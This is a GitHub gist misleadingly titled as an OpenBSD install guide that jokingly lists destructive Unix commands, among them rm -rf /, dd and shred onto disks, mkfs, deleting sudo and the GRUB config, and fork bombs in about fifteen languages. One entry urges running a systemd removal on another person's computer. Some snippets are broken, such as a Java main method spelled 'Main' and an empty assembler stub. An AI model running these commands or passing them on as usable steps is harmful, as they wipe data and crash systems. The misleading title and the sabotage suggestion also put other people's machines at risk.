Skip to content

Instantly share code, notes, and snippets.

@Scherso
Last active May 7, 2023 01:02
Show Gist options
  • Save Scherso/27a379c71056798b451abf5e6ec61ce8 to your computer and use it in GitHub Desktop.
Save Scherso/27a379c71056798b451abf5e6ec61ce8 to your computer and use it in GitHub Desktop.
Guide to installing OpenBSD

Ways To Not Use Your Unix Machine

(Run these as root :trollface:)

rm Remove Command

All commands delete the Root in different ways

  • The Classic
rm -rf / --no-preserve-root
  • All files except root
rm -rf /*
  • Something more Elaborate
cd / && find /* | xarg rm -rf

"If you're gonna delete your filesystem, at least lay pipes and arguments like a Linux chad."


dd Disk Destroyer Command

  • The Classic
  • NOTE: root may not be your root, check your Operating System's root.
dd if=/dev/null of=/root
  • Overriding Ram
  • NOTE: /dev/mem does not exist on most Kernel configurations.
dd if=/dev/urandom of=/dev/mem
  • Writing Random Files to your disk
  • NOTE: /dev/sda may not be your disk, it can be hdX, sdX, or nvme0nX
dd if=/dev/random of=/dev/sda
  • Cleaning all Partitions on a Disk
dd if=/dev/zero of=/dev/sda  bs=512  count=1

Some More Elaborate Ways

  • Fork Bombing
:(){ :|: & };:
How This Works

:() means you are defining a function called {:|: &} means run the function : and send its output to the : function again and run that in the background. : – load another copy of the ‘:’ function into memory | – and pipe its output to : – another copy of ‘:’ function, which has to be loaded into memory Therefore, ‘:|:’ simply gets two copies of ‘:’ loaded whenever ‘:’ is called & – disown the functions, if the first ‘:’ is killed, all of the functions that it has started should NOT be auto-killed } – end of what to do when we say ‘:’ ; Command Seperator : runs the function first time

  • Destroying your Home File System
mv ~ /dev/null

This moves your home directory to the null directory, where it is disposed of.

  • shred, Might Take a While
shred -n 5 -vz /dev/sda

Shred is a GNU command which deletes the contents of your disk in 7 rounds, so that it can't be recovered.

  • If an Arch user is getting a little annoying, run this on their computer
sudo pacman -Rcs systemd
  • For Grub Users
rm -r /boot/grub/grub.cfg

Removes the Grub config file, this prevents you from booting into Linux

  • Reformatting your Drive
mkfs.ext4 /dev/sda 

Formats and deletes the data on your disks parition.

  • Black Hole?
mv / /dev/null

Moves your root directory to null were it is disposed of.

  • Delete your Super User
rm -f /usr/bin/sudo ; rm -f /bin/su

Removing your super user, prevents you from doing super user tasks.


How Not To Program

Assembly Languages

  • Netwide Assembly Language (NASM)
bits 64

global _start

section .text

_start:
        mov    rax, strict 0x39     ; 'stub_fork' syscall.
        syscall                     ; Calling 'stub_fork'
        jmp    short _start         ; Looping this procedure.
  • X86 Flat Assembler (FASM)
format ELF executable
entry start
start:
  • GNU Assembler (GAS)
.globl _start

.text

_start: 
        mov    $0x39, %rax   # 'stub_fork' syscall.
        syscall              # Calling 'stub_fork'
        jmp    .             # Looping to the start of this procedure.

All segments only work on Linux

Bash

#!/bin/bash

func() { 
    func | func
    & 
}; func

This is the equivalent of :(){ :|: & };:

POKE 59458,62

C for Unix

#include <unistd.h>
 
int main(void) {
    /* Unconditional for loop, loops forever. */
    for(;;)
        fork();
        
    return 0;
}

C++ Unix

#include <thread>
 
int main(void) {
    for(;;) {
        std::thread([]() -> void {
            for(;;) {}
        });
    }
    return 0;
}

Go

package main

func main() {
    for {
        go main()
    }
}

Haskell

import Control.Concurrent

f = do a <- forkIO g
       b <- forkIO g
       return ()

g = do a <- forkIO f
       b <- forkIO f
       return ()
       
main = do f 

Java

public class Main { 

    public static void Main(String[] args) {
        while (true) {
            Runtime.getRuntime().exec(new String[] {
                "javaw", "-cp", System.getProperty("java.class.path"), "Main"
            });
        }
    }
}
  • If you came to Java for the coffee beans, you can roast them with this method.
import java.lang.Thread;

public class Heater { 

    public static void Main(String[] args) {
        for (;;) {
            new Thread(() -> {
                while (true);
            }).start();
        }
    }
}

Kotlin

fun main() {
    while (true) {
        Thread {
            while (true);
        }.start()
    }
}

Python

import os

while 1:
     os.fork()

PHP (Poor Helpless Programmers)

while(pcntl_fork()|1);

Ruby

loop { fork }

Swift

import Darwin

class main {
    while true {
        _ = unsafeBitCast (
            dlsym (
                dlopen (nil, RTLD_NOW),
                "fork"
            ),
            to: (@convention(c) () -> pid_t).self
        ) ()
    }
}

For OS/X and derivatives


Honorable Mention

@KnightsWhoSayNi0
Copy link

this is beautiful…

@xchar08
Copy link

xchar08 commented Jul 14, 2022

bravo

@luckycdev
Copy link

thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment